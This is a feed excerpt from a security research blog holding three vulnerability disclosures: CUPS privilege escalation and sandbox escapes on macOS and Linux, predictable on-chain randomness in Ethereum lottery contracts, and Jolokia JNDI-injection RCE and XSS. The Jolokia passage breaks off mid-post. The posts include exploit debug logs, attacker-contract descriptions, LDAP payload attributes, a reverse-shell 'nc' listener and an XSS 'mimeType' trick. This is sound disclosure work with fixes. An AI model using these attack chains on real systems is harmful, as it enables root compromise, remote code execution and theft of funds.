<p><strong>Timeline:</strong><br />02/21/2018 - Initial disclosure to Apple<br />02/26/2018 - Initial disclosure to Debian and Canonical (CVE-2018-6553)<br />03/02/2018 - Issues confirmed by Apple<br />05/04/2018 - Apple requests delay of public disclosure due to downstream vendor coordination with CERT<br />06/01/2018 - Apple releases fixes in macOS 10.13.5<br />06/05/2018 - Apple publishes patches on their public Github repository<br />07/11/2018 - Public disclosure<br /><br /><strong>Apple Security Advisory (updated 7/11/18):</strong><br />&nbsp;&nbsp; <a href="https://support.apple.com/HT208849">https://support.apple.com/HT208849</a><br /><br /><strong>Linux Vendor Advisories:</strong><br />&nbsp;&nbsp; <a href="https://www.debian.org/security/2018/dsa-4243">https://www.debian.org/security/2018/dsa-4243</a><br />&nbsp;&nbsp; <a href="https://usn.ubuntu.com/3713-1/">https://usn.ubuntu.com/3713-1/</a><br /><br /> <strong>Patches:</strong><br />&nbsp;&nbsp; <a href="https://github.com/apple/cups/commit/d47f6aec436e0e9df6554436e391471097686ecc">https://github.com/apple/cups/commit/d47f6aec436e0e9df6554436e391471097686ecc</a></p>
<p>This post describes the privilege escalation and sandbox escape vulnerabilities and their fixes.&nbsp; Exploit code is currently being withheld, and will be released at a later date.&nbsp; Details of the root-level local file read issue (CVE-2018-4181) will be released in a follow-up blog post.</p>
<h3>Local Privilege Escalation to Root Due to Insecure Environment Variable Handling - CVE-2018-4180</h3>
<p><strong>Overview:</strong><br />Affected versions of CUPS allow for the SetEnv and PassEnv directives to be specified in the cupsd.conf file, which is editable by non-root users using the cupsctl binary.&nbsp; This allows attacker-controlled environment variables to be passed to CUPS backends, some of which are run as root.&nbsp; By passing malicious values in environment variables to affected backends, it is possible to execute an attacker-supplied binary as root, subject to sandbox restrictions.<br /><strong><br />Details:</strong><br />Multiple vulnerable code paths exist for this issue, one of which is shown below.&nbsp; The environment variable is used to construct a filename on lines 804 and 807 that is executed on line 819.</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">cups/backend/dnssd.c:
800  /*
801   * Get the filename of the backend...
802   */
803
804   if ((<span style="color: red;">cups_serverbin = getenv("CUPS_SERVERBIN")</span>) == NULL)
805     cups_serverbin = CUPS_SERVERBIN;
806
807   snprintf(<span style="color: red;">filename, sizeof(filename), "%s/backend/%s", cups_serverbin</span>, scheme);
[&hellip;]
817   fprintf(stderr, "DEBUG: Executing backend \"%s\"...\n", filename);
818
819   <span style="color: red;">execv(filename, argv);</span></pre>
<p><strong>Fix:</strong><br /> The issue was remediated by moving the SetEnv and PassEnv configuration directives from cupsd.conf to cups-files.conf, which is only editable by root.&nbsp; Additionally, sensitive environment variables that may have security implications have been restricted and can no longer be set using these directives.&nbsp; This effectively prevents all known exploit vectors.</p>
<h3>macOS cups-exec Sandbox Bypass Due to Insecure Error Handling - CVE-2018-4182</h3>
<p><strong>Overview:</strong><br />It is possible to cause cups-exec to execute backends without a sandbox profile by causing cupsdCreateProfile() to fail.&nbsp; An attacker that has obtained sandboxed root access can accomplish this by setting the CUPS temporary directory to immutable using chflags, which will prevent the profile from being written to disk.<br /><br />Chaining this vulnerability with CVE-2018-4180 results in unsandboxed root code execution.<br /><br /><strong>Details:</strong><br />When /var/spool/cups/tmp is set to immutable, the following sequence will fail, resulting in DefaultProfile being set to NULL in cupsdStartServer().&nbsp; This error is ignored, and execution continues.</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;"><span style="color: red;">DefaultProfile =          NULL</span>
   cupsdCreateProfile()    ^
      cupsTempFile2()      |
         cupsTempFd()      |
            open("/var/spool/cups/tmp/...") = <span style="color: red;">-1 [Operation not permitted]</span></pre>
<p>When cupsdStartProcess() is later called to execute a backend, the NULL default profile is passed as an argument:</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">scheduler/client.c:
3819   if (cupsdStartProcess(command, argv, envp, infile, fds[1], CGIPipes[1],
3820          -1, -1, root, <span style="color: red;">DefaultProfile</span>, NULL, &amp;pid) &lt; 0)</pre>
<p>The process is then executed unsandboxed, because the profile is NULL.</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">scheduler/process.c:
455 int               /* O - Process ID or 0 */
456 cupsdStartProcess(
457     const char  *command,     /* I - Full path to command */
458     char        *argv[],      /* I - Command-line arguments */
459     char        *envp[],      /* I - Environment */
460     int         infd,         /* I - Standard input file descriptor */
461     int         outfd,        /* I - Standard output file descriptor */
462     int         errfd,        /* I - Standard error file descriptor */
463     int         backfd,       /* I - Backchannel file descriptor */
464     int         sidefd,       /* I - Sidechannel file descriptor */
465     int         root,         /* I - Run as root? */
466     <span style="color: red;">void        *profile,     /* I - Security profile to use */</span>
467     cupsd_job_t *job,         /* I - Job associated with process */
468     int         *pid)         /* O - Process ID */
469 {
[...]
545  /*
546   * Use helper program when we have a sandbox profile...
547   */
548
549 #if !USE_POSIX_SPAWN
550   if (profile)
551 #endif /* !USE_POSIX_SPAWN */
552   {
553     snprintf(cups_exec, sizeof(cups_exec), "%s/daemon/cups-exec", ServerBin);
554     snprintf(user_str, sizeof(user_str), "%d", user);
555     snprintf(group_str, sizeof(group_str), "%d", Group);
556     snprintf(nice_str, sizeof(nice_str), "%d", FilterNice);
557
558     real_argv[0] = cups_exec;
559     real_argv[1] = (char *)"-g";
560     real_argv[2] = group_str;
561     real_argv[3] = (char *)"-n";
562     real_argv[4] = nice_str;
563     real_argv[5] = (char *)"-u";
564     real_argv[6] = user_str;
565     real_argv[7] = <span style="color: red;">profile ? profile : "none";</span>
566     real_argv[8] = (char *)command;</pre>
<p>The following debug output shows execution of exploits for CVE-2018-4180 and CVE-2018-4182.<br /><br />CUPS_SERVERBIN is set to the attacker-controlled directory by the exploit:</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">d [18/Feb/2018:21:50:21 -0500] cupsdSetEnv: CUPS_SERVERBIN=/tmp/exploit
   [...]
D [18/Feb/2018:21:50:21 -0500] [Job 69] envp[1]="CUPS_SERVERBIN=/tmp/exploit"</pre>
<p>dnssd is executed as root with a valid sandbox profile:</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">cupsdStartProcess(command="/usr/libexec/cups/backend/dnssd", argv=0x7ffee67eac30, envp=0x7ffee67ece90, infd=-1, outfd=-1, errfd=15, backfd=17, sidefd=19, <span style="color: red;">root=1, profile=0x7f9339d1acb0</span>, job=0x7f9339e203d0(69), pid=0x7f9339e20538) = 2463</pre>
<p>dnssd then executes its sub-backend from the attacker-controlled CUPS_SERVERBIN containing the exploit payload.  On this initial execution, the write to /exploit.txt will fail, and the payload will set the CUPS temp directory to immutable.</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">D [18/Feb/2018:21:50:21 -0500] [Job 69] Executing backend \"/tmp/exploit/backend/dnssd\"...
D [18/Feb/2018:21:50:21 -0500] [Job 69] /tmp/exploit/backend/dnssd: line 2: /exploit.txt: Operation not permitted</pre>
<p>The payload then triggers the exploit again:</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">D [18/Feb/2018:21:50:21 -0500] [Job 70] envp[1]="CUPS_SERVERBIN=/tmp/exploit"</pre>
<p>This time, the sandbox profile is prevented from being written:</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">d [18/Feb/2018:21:50:21 -0500] cupsdCreateProfile(job_id=70, allow_networking=0) = NULL
E [18/Feb/2018:21:50:21 -0500] Unable to create security profile: Operation not permitted
d [18/Feb/2018:21:50:21 -0500] cupsdCreateProfile(job_id=70, allow_networking=1) = NULL
E [18/Feb/2018:21:50:21 -0500] Unable to create security profile: Operation not permitted</pre>
<p>This causes cupsdStartProcess to be called with a NULL profile argument, executing dnssd as root outside the sandbox:</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">d [18/Feb/2018:21:50:21 -0500] cupsdStartProcess(command="/usr/libexec/cups/backend/dnssd", argv=0x7ffee67fa7a0, envp=0x7ffee67fca00, infd=-1, outfd=-1, errfd=14, backfd=16, sidefd=18, <span style="color: red;">root=1, profile=0x0</span>, job=0x7f9339f12480(70), pid=0x7f9339f125e8) = 2469</pre>
<p>Finally, the sub-backend executes outside the sandbox, writes to /exploit.txt, and exits successfully:</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">D [18/Feb/2018:21:50:21 -0500] [Job 70] Executing backend \"/tmp/exploit/backend/dnssd\"...
D [18/Feb/2018:21:50:21 -0500] [Job 70] PID 2469 (/usr/libexec/cups/backend/dnssd) exited with no errors.</pre>
<p><strong>Fix:</strong><br /> The issue was remediated through the addition of error-handling code and sanity checks that prevent backends from executing outside of a sandbox profile.</p>
<h3>macOS cups-exec Sandbox Bypass Due to Profile Misconfiguration - CVE-2018-4183</h3>
<p><strong>Overview:</strong><br />The sandbox profile dynamically generated by cupsdCreateProfile() unintentionally allows write access to /etc/cups.&nbsp; This can be used by an attacker that has obtained sandboxed root access to alter /etc/cups/cups-files.conf, leading to unsandboxed root code execution.<br /><br /><strong>Details:</strong><br />The issue is caused by the fact that both ServerRoot and StateDir are set to /etc/cups.&nbsp; The sandbox profile first denies write access to ServerRoot, but subsequently allows write access to StateDir.&nbsp; This is shown in cupsdCreateProfile() below.</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">cups/scheduler/process.c:
142   cupsFilePrintf(fp,
143                  "(deny file-write*\n"
144                  "  (regex"
145        <span style="color: red;">" #\"^%s$\""     /* ServerRoot */</span>
146        <span style="color: red;">" #\"^%s/\""     /* ServerRoot/... */</span>
147        " #\"^/private/etc$\""
148        " #\"^/private/etc/\""
[...]
194   cupsFilePrintf(fp,
195                  "(allow file-write* file-read-data file-read-metadata\n"
196                  "  (regex"
197        " #\"^%s$\""     /* TempDir */
198        " #\"^%s/\""     /* TempDir/... */
199        " #\"^%s$\""     /* CacheDir */
200        " #\"^%s/\""     /* CacheDir/... */
201        <span style="color: red;">" #\"^%s$\""     /* StateDir */</span>
202        <span style="color: red;">" #\"^%s/\""     /* StateDir/... */</span>
203        "))\n",
204        temp, temp, cache, cache, state, state);</pre>
<p>This results in the following conflicting sandbox profile directives, ultimately allowing write access to /etc/cups:</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">(deny file-write*
  (regex <span style="color: red;">#"^/private/etc/cups$" #"^/private/etc/cups/"</span> #"^/private/etc$" #"^/private/etc/" #"^/usr/local/etc$" #"^/usr/local/etc/" #"^/Library$" #"^/Library/" #"^/System$" #"^/System/"))

(allow file-write* file-read-data file-read-metadata
  (regex #"^/private/var/spool/cups/tmp$" #"^/private/var/spool/cups/tmp/" #"^/private/var/spool/cups/cache$" #"^/private/var/spool/cups/cache/" <span style="color: red;">#"^/private/etc/cups$" #"^/private/etc/cups/"</span>))</pre>
<p><strong>Fix:</strong><br />The sandbox profile was corrected to disallow writes to /etc/cups by removing the StateDir entries.</p>
<div class="page">
<div class="layoutArea">
<div class="column">
<h3>AppArmor cupsd Sandbox Bypass Due to Use of Hard Links - CVE-2018-6553</h3>
<p><strong>Overview:</strong><br />It is possible to bypass the AppArmor cupsd sandbox by invoking the dnssd backend using an alternate name that has been hard linked to dnssd.&nbsp; Both Debian and Ubuntu use AppArmor and shipped the mdns backend in this manner, in contrast to macOS and other systems that use symbolic links.&nbsp; Invoking the mdns backend causes the AppArmor profile to treat the backend as 3rd party, removing sandbox restrictions.<br /><br /><strong>Details:</strong><br />The cups backend directory and an excerpt of the cups .deb post-installation script shows the use of hard links.</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;"> ls -l /usr/lib/cups/backend/{dnssd,mdns}
-rwxr--r-- 3 root root 18424 Aug 22 17:26 /usr/lib/cups/backend/dnssd
-rwxr--r-- 3 root root 18424 Aug 22 17:26 /usr/lib/cups/backend/mdns
$ stat /usr/lib/cups/backend/{dnssd,mdns}
  File: '/usr/lib/cups/backend/dnssd'
  Size: 18424        Blocks: 40         IO Block: 4096   regular file
Device: 801h/2049d   <span style="color: red;">Inode: 12615</span>       Links: 3
Access: (0744/-rwxr--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2018-02-18 13:08:11.761022386 -0800
Modify: 2017-08-22 17:26:53.000000000 -0700
Change: 2018-02-14 11:32:56.356309575 -0800
 Birth: -
  File: '/usr/lib/cups/backend/mdns'
  Size: 18424        Blocks: 40         IO Block: 4096   regular file
Device: 801h/2049d   <span style="color: red;">Inode: 12615</span>       Links: 3
Access: (0744/-rwxr--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2018-02-18 13:08:11.761022386 -0800
Modify: 2017-08-22 17:26:53.000000000 -0700
Change: 2018-02-14 11:32:56.356309575 -0800
 Birth: -

DEBIAN/postinst: (from cups_2.2.1-8_amd64.deb)
71       if [ "$module" = "dnssd" ]; then
72         <span style="color: red;">ln</span> /usr/lib/cups/backend/dnssd /usr/lib/cups/backend/mdns
73       fi</pre>
<p>The AppArmor sandbox profile explicitly whitelists known backends, but neglects to include mdns.  Because mdns is hard linked to dnssd, it matches the rule on line 95.  If symbolic links were used instead, line 81 would match and the backend would be sandboxed as intended.</p>
<pre style="display: block; font-family: monospace; font-size: 10px; line-height: 1; word-break: break-all; white-space: pre-wrap;">/etc/apparmor.d/usr.sbin.cupsd:
79   # backends which come with CUPS can be confined
80   /usr/lib/cups/backend/bluetooth ixr,
81   /usr/lib/cups/backend/dnssd ixr,
82   /usr/lib/cups/backend/http ixr,
83   /usr/lib/cups/backend/ipp ixr,
84   /usr/lib/cups/backend/lpd ixr,
85   /usr/lib/cups/backend/parallel ixr,
86   /usr/lib/cups/backend/serial ixr,
87   /usr/lib/cups/backend/snmp ixr,
88   /usr/lib/cups/backend/socket ixr,
89   /usr/lib/cups/backend/usb ixr,
90   # we treat cups-pdf specially, since it needs to write into /home
91   # and thus needs extra paranoia
92   /usr/lib/cups/backend/cups-pdf Px,
93   <span style="color: red;"># third party backends get no restrictions as they often need high</span>
94   <span style="color: red;"># privileges and this is beyond our control</span>
95   <span style="color: red;">/usr/lib/cups/backend/* Cx -&gt; third_party,</span></pre>
<p><strong>Fix:</strong><br />The AppArmor profile was updated to explicitly sandbox the mdns backend.</p>
</div>
</div>
</div>
]]></description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-36081647.xml</wfw:commentRss></item><item><title>Breaking Randomness in the Ethereum Universe [part 1]</title><category>blockchain</category><category>ethereum</category><category>random numbers</category><dc:creator>Elliot Ward</dc:creator><pubDate>Fri, 01 Jun 2018 13:40:45 +0000</pubDate><link>http://blog.gdssecurity.com/labs/2018/6/1/breaking-randomness-in-the-ethereum-universe-part-1.html</link><guid isPermaLink="false">936190:11268292:36069883</guid><description><![CDATA[<p><span id="docs-internal-guid-15bfa50c-6ec4-fe1e-7142-7332b6051b4a"> </span></p>
<p dir="ltr"><span>It is widely acknowledged that generating secure random numbers on the Ethereum blockchain is difficult due to its deterministic nature. Each time a smart contract’s function is called inside of a transaction, it must be replayed and verified by the rest of the network. This is crucial so that it is not possible for a miner to manipulate the internal state during execution and modify the result for their own benefit. For example, if the Ethereum Virtual Machine (EVM) provided functionality to generate a random number using a cryptographically secure random source on the miner’s system, it would not be possible to confirm that the random number generated had not been manipulated by the miner. Another more important reason however, is that this would not be determinsitic and if ether is transferred or alternative code paths are taken based on decisions made inside the function as a result of the generated number, the contract&#8217;s ether balance and storage state may be inconsistent with the view of the rest of the network.</span></p>
<p dir="ltr"><span>This post is the first in a three-part series where we will look at some of the techniques developers are using to generate numbers that appear to be random in the deterministic Ethereum environment, and look at how it is possible in-practice to exploit these random number generators for our advantage. Our first post will focus on generating random numbers on-chain and what the security implications of doing so are. In the remaining two posts we will review another two commonly used techniques including using oracles and participatory schemes where numbers are provided via multiple participants.</span></p>
<h2><span>Sources of Entropy in Ethereum</span></h2>
<p dir="ltr"><span>We have proposed that we cannot trust a single miner to generate a “high quality” random number for our smart contract and that if a “random” number is produced, the same number </span><span>must</span><span> be produced when other nodes of the network execute the smart contract code for verification. </span><span>One method that is commonly used is the use of a </span><span>Pseudorandom Number Generator</span><span> (PRNG), which will produce a series of bytes that </span><span>look</span><span> random in a deterministic way, based on an initial private seed value and internal state. </span></p>
<p dir="ltr"><span>The Ethereum blockchain provides a number of block properties that are not controllable by a single user of the network and are only somewhat controllable by miners, such as the timestamp and coinbase. When using these block properties as a source of entropy for an initial seed to a PRNG, it may well look sufficient as the output appears to look random and the seed value cannot be directly manipulated by users of the smart contract.</span></p>
<p dir="ltr"><span>The following block variables are commonly used when generating random numbers on-chain:</span></p>
<ul>
<li dir="ltr">
<p dir="ltr"><span>block.blockhash</span><span>(uint blockNumber): hash of the given block (only works for 256 most recent blocks excluding current)</span></p>
</li>
<li dir="ltr">
<p dir="ltr"><span>block.number</span><span>: current block number</span></p>
</li>
<li dir="ltr">
<p dir="ltr"><span>block.coinbase</span><span>: current block miner’s address</span></p>
</li>
<li dir="ltr">
<p dir="ltr"><span>block.timestamp</span><span>: current block timestamp as seconds since unix epoch</span>&nbsp;</p>
</li>
</ul>
<p dir="ltr"><span>The main advantages of using block properties as a seed for randomness is they are simple to implement and the resulting random numbers are immediately available to the smart contract. This simplicity, speed and lack of dependence on external parties or systems makes the use of block properties a desirable option. It is often assumed that when using block properties as a source of randomness, only miners would be in a position to cheat. For example, if the output number did not work in their favour, they can throw away the block and wait for a new block whereby the generated number worked in their favour.</span>&nbsp;</p>
<p dir="ltr"><span>With the assumption that only miners are able to exploit the number generation using block properties as a seed, there are multiple blog posts, Reddit posts, and Stack Overflow threads regarding when it is safe to use these properties for random number generation. These often incorrectly state that it is acceptable to use block properties only when the potential payout is less than the mining reward, as it would not be beneficial for a malicious miner to throw out the block. However, this is not case, as we will see when we analyse and exploit the vulnerable smart contracts below.</span></p>
<h2><span>Exploiting a Simple Number Guessing Smart-Contract</span></h2>
<p><span>Firstly we will look a na</span><span>ï</span><span>ve, yet not uncommon implementation using the </span><span>block.blockhash</span><span> property. The </span><span>GuessingGame</span><span> smart contract allows the participant to guess a randomly generated number. If the participant guesses correctly they win twice their initial bet.</span></p>
<p><script src="https://gist.github.com/gdsgists/2aa3cfac3b4521445f8a737b33edc2ba.js?file=BrokenGuessingGame.sol"></script></p>
<p><span id="docs-internal-guid-21339570-6ec8-08b5-edc6-404b85d5ff37"> </span></p>
<p dir="ltr"><span>If we look at the </span><span><b>badRandom</b></span><span>&nbsp;function, we can see how the random number is generated by casting the blockhash of the previous block to an unsigned integer, then performing a modulus operation:</span></p>
<p><script src="https://gist.github.com/gdsgists/2aa3cfac3b4521445f8a737b33edc2ba.js?file=Badrandomfunction.sol"></script></p>
<p><span id="docs-internal-guid-4ebb1e5a-6ec8-a58d-9d58-14c9934ea094"> </span></p>
<p dir="ltr"><span>This will appear to provide a random value between 1 and 10 (unfortunately this also introduces a modulo bias meaning that some values are more likely than others). As the previous block number is not controllable by an attacker it cannot be manipulated to produce a random number in the attackers favour… however, the seed is known to the attacker. It is therefore possible to predict what the next winning number will be and beat the house. One potential problem with this approach, is that the attacker needs to take the current block number, get the blockhash, generate the next number and make sure their bet was placed in the very next block.</span>&nbsp;</p>
<p><span>This isn’t very feasible to do manually, however we can get around this by calculating the next winning number on-chain, then make an external contract call to the GuessingGame with the correct number. The following attacker contract will always predict the winning number when the </span><span>cheat()</span><span> function is called.</span></p>
<p><script src="https://gist.github.com/gdsgists/2aa3cfac3b4521445f8a737b33edc2ba.js?file=AlwaysWin.sol"></script></p>
<p><span id="docs-internal-guid-dbdbb548-6ecd-ef81-dc23-29400bf75fb9"> </span></p>
<h2><span>Another Vulnerable ‘Lottery’ Style Game</span></h2>
<p dir="ltr"><span>The above contract will allow us to always take away the winnings, however, can we still exploit this type of random number generation when the generation takes place at some point in the future? To explore this, we have the following lottery style smart contract where participants can buy a ticket in a draw. When enough tickets have been sold a winner can be selected. A common, but problematic, coding pattern is shown below:</span></p>
<p><script src="https://gist.github.com/gdsgists/2aa3cfac3b4521445f8a737b33edc2ba.js?file=LuckyDip.sol"></script></p>
<p dir="ltr">By looking at the <b>b</b><b>uyTicket</b> function below, there is nothing the attacker can control when buying a ticket, other than waiting for specific tickets to be sold and buying theirs at a specific point, such as waiting for 2 to be sold and then attempting to purchase the 3rd.</p>
<p><script src="https://gist.github.com/gdsgists/2aa3cfac3b4521445f8a737b33edc2ba.js?file=BuyTicket.sol"></script></p>
<p dir="ltr"><span>Lets now look at how the winning ticket is chosen:</span></p>
<p><script src="https://gist.github.com/gdsgists/2aa3cfac3b4521445f8a737b33edc2ba.js?file=DrawWinnerFunction.sol"></script></p>
<div><span id="docs-internal-guid-3a76004a-6ed3-ed4b-c341-ace512a9313f">Firstly, there is a require statement to ensure that the winner can only be chosen once the required number of tickets have been sold. If this requirement is met the sale is over and a random number is generated. In this case we have no control over what the <b>winnerIndex</b> will be, however we can calculate who the winner will be before invoking the <b>d</b><b>rawWinner</b>() function. Allowing the attacker to wait until a blockhash is used that generates a random number making the attacker the winner.<br></span></div>
<p><span id="docs-internal-guid-3939f454-6ed6-b889-86cd-bfe80d87c896"> </span></p>
<p dir="ltr">The problem with this approach is that the attacker needs to know which ticket they have, or at which index in the <b>drawParticipants</b> array their account address is located. Within the blockchain, even private variables are readable by everyone, even if the contract does not directly expose them. The <b>web3.eth.getStorageAt(contractAddress, index)</b> method can be used to look into the contracts persistent storage and identify which ticket is the attackers.</p>
<p dir="ltr">The attacker contract below will take the desired winner index, then calculate if that index is going to win the draw during the current block. If the desired winner is going to be selected, the <b>d</b><b>rawWinner()</b> function is called and the attacker takes home the contract balance. If the attacker is not going to win, the call returns before drawing the winner. The attacker just needs to repeatedly call the <b>c</b><b>heat(winnerIndex) </b>function until the blockhash outputs a number that results in the correct winner. It is true that this process is going to cost the attacker in transaction fees for each repeated call, however this is likely to be negligible when compared to a games payout.</p>
<p><script src="https://gist.github.com/gdsgists/2aa3cfac3b4521445f8a737b33edc2ba.js?file=WinLuckyDip.sol"></script></p>
<p dir="ltr">The primary drawback with this approach is that if the <b>drawWinner()</b><b> </b>function is called by another participant, then the next winner may be chosen at a blocknumber which does not result in the attacker winning. Another issue is that depending on the number of participants, the attacker may need to submit a large number of transactions before they are chosen.</p>
<h2><span>A partial mitigation?</span></h2>
<p><span>As games are typically designed to be played by real players, rather than other smart contracts, we could look to identify whether the player’s address is a regular Externally Controlled Account (EOA) or a smart contract account. It appears this can currently be achieved by using inline assembly and the </span><span>EXTCODESIZE</span><span> opcode, which returns the size of the CODE property of an external Ethereum account using its address. For example, this could be implemented with the following:</span></p>
<p><script src="https://gist.github.com/gdsgists/2aa3cfac3b4521445f8a737b33edc2ba.js?file=PartialMitigation"></script></p>
<p><span id="docs-internal-guid-f1fa3ab8-6edb-7a74-b230-581597bd6537"> </span></p>
<p dir="ltr"><span>This will restrict specific functions from only being called from Externally Owned Accounts and therefore mitigate the attacks outlined above. However, this does not mitigate against attacks from malicious miners and will likely break under future accounts created under the Ethereum account abstraction proposed in EIP-86 which is scheduled for Constantinople Metropolis stage 2.</span></p>
<p dir="ltr"><span>The practise of generating pseudo-random numbers using block properties is highly discouraged. We have looked at how an attacker can actually exploit such PRNG implementations via external contract calls, which allow an attacker to predict the next number to be generated in the same block. Whilst a partial mitigation does exist to prevent the specific attacks mentioned, block properties and on-chain data are always public and therefore carry the risk that an attacker may be able to predict the winning number and use it for their advantage.&nbsp; &nbsp;&nbsp;</span></p>
<p dir="ltr"><span>In the following two parts of this series, we will analyse the use of generating random numbers using participatory schemes where numbers are provided via multiple participants, and through the use of external sources of randomness that are consumed via the use of Oracles.</span></p>
<p><br></p>
]]></description><wfw:commentRss>http://blog.gdssecurity.com/labs/rss-comments-entry-36069883.xml</wfw:commentRss></item><item><title>Jolokia Vulnerabilities - RCE &amp; XSS</title><dc:creator>Olga Barinova</dc:creator><pubDate>Wed, 18 Apr 2018 16:45:39 +0000</pubDate><link>http://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html</link><guid isPermaLink="false">936190:11268292:36052950</guid><description><![CDATA[<p>Recently, during a client engagement, Gotham Digital Science found a couple of zero-day vulnerabilities in the Jolokia service. <a href="https://jolokia.org">Jolokia</a> is an open source product that provides an HTTP API interface for JMX (Java Management Extensions) technology. It contains an API we can use for calling MBeans registered on the server and read/write their properties. JMX technology is used for managing and monitoring devices, applications, and service-driven networks. 

<h2>The following issues are described below:</h2>
<ul>
<li>Remote Code Execution via JNDI Injection – <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000130">CVE-2018-1000130</a></li>
<li>Cross-Site Scripting – <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000129">CVE-2018-1000129</a></li>
</ul>
<h2>Affected versions:</h2> 
<ul>
<li>1.4.0 and below. Version 1.5.0 addresses both issues.</li>
</ul>
<p>Before we start, a little humour - if someone thinks that the documentation is useless for bug hunters, look at this:</p>
<p><span class="full-image-block ssNonEditable"><span><img style="width: 450px;" src="http://blog.gdssecurity.com/storage/Screen Shot 2018-04-02 at 22.29.52.png?__SQUARESPACE_CACHEVERSION=1522704660004" alt=""/></span></span></p>

<h3>Remote Code Execution via JNDI Injection</br>CVE-2018-1000130</h3>
<p>The Jolokia service has a proxy mode that was vulnerable to <b>JNDI injection</b> by default before version 1.5.0. When the Jolokia agent is deployed in proxy mode, an external attacker, with access to the Jolokia web endpoint, can execute arbitrary code remotely via JNDI injection attack. This attack is possible since the Jolokia library initiates LDAP/RMI connections using user-supplied input.</p>
<p>JNDI attacks were explained at the BlackHat USA 2016 conference by HP Enterprise folks, and they showed some useful vectors we can use to turn them into Remote Code Execution.</p>
<p>If a third-party system uses Jolokia service in proxy mode, this system is exposed to remote code execution through the Jolokia endpoint. Jolokia, as a component, does not provide any authentication mechanisms for this endpoint to protect the server from an arbitrary attacker, but this is strongly recommended in the documentation.</p>
<h2>Steps to reproduce:</h2>
<i>For demonstration purposes we&#8217;ll run all of the components in the exploit chain on the loopback interface.</i>
<ol>
<li>
<p>The following POST request can be used to exploit this vulnerability:</p>
<script src="https://gist.github.com/gdsgists/26b8284f7b033e6fcbe32e688152623c.js?file=jolokia-proxy.http"></script>
</li>
<li>
<p>We need to create LDAP and HTTP servers in order to serve a malicious payload. These code snippets were originally taken from <a href="https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java">marshalsec</a> and <a href="https://github.com/zerothoughts/spring-jndi/tree/master/client/src/main/java">zerothoughts</a> GitHub repositories.</p>
<script src="https://gist.github.com/gdsgists/26b8284f7b033e6fcbe32e688152623c.js?file=LDAPRefServer.java"></script>
<script src="https://gist.github.com/gdsgists/26b8284f7b033e6fcbe32e688152623c.js?file=HttpFileHandler.java"></script>
</li>
<li><p>After that we need to create an <code>ExportObject.java</code> with reverse shell command. The bytecode of this class will be served from our HTTP server:</p>
<script src="https://gist.github.com/gdsgists/26b8284f7b033e6fcbe32e688152623c.js?file=ExportObject.java"></script>
</li>
<li><p>The LDAP Server should be run with the following command line arguments:</p>
<code>http://127.0.0.1:7873/#ExportObject 9092</code>
<br>where:
<ul>
<li> <code>http://127.0.0.1:7873/</code> is the URL of the attacker’s HTTP server </li>
<li> <code>ExportObject</code> is name of the Java class containing the attacker’s code </li>
<li> <code>9092</code> is the LDAP server listen port </li>
</ul>
</li>
<li>
<p>Start an <code>nc</code> listener on port <code>7777</code>:</p>
<code>$ nc -lv 7777</code>
</li>
<li>
<p>After the reuqest shown in step #1 is sent, the vulnerable server makes request to the attacker’s LDAP server.</p>
<span class="full-image-block ssNonEditable"><span><img style="width: 450px;" src="http://blog.gdssecurity.com/storage/Picture2.png?__SQUARESPACE_CACHEVERSION=1522708020289" alt=""/></span></span>
</li>
<li>
<p>When the LDAP server, listening on the port <code>9092</code>, receives a request from the vulnerable server, it creates an <code>Entry</code> object with attributes and returns it in the LDAP response.</p>
<pre>
e.addAttribute("javaClassName", "ExportObject");
e.addAttribute("javaCodeBase", "http://127.0.0.1/");
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", "ExportObject");
</pre>
</li>
<li>
<p>When the vulnerable server receives the LDAP response, it fetches the <code>ExportObject.class</code> from the attacker’s HTTP server, instantiates the object and executes the reverse shell command.<p>
</li>
<li>
<p>The attacker receives the connection back from the vulnerable server on his <code>nc</code> listener.</p>
<span class="full-image-block ssNonEditable"><span><img style="width: 430px;" src="http://blog.gdssecurity.com/storage/Picture3.png?__SQUARESPACE_CACHEVERSION=1522708374009" alt=""/></span></span>
</li>
</ol>
 
<br>
<h3>Cross-Site Scripting</br>CVE-2018-1000129</h3>
<p>The Jolokia web application is vulnerable to a classic <b>Reflected Cross-Site Scripting (XSS)</b> attack. By default, Jolokia returns responses with <i>application/json</i> content type, so for most cases inserting user supplied input into the response is not a big problem. But it was discovered from reading the source code that it is possible to modify the Content-Type of a response just by adding a GET parameter <code>mimeType</code> to the request:</p>
<pre>
http://localhost:8161/api/jolokia/read?<b>mimeType=text/html</b>
</pre>
<p>After that, it was relatively easy to find at least one occurrence where URL parameters are inserted in the response ‘as is’:</p>
<pre>
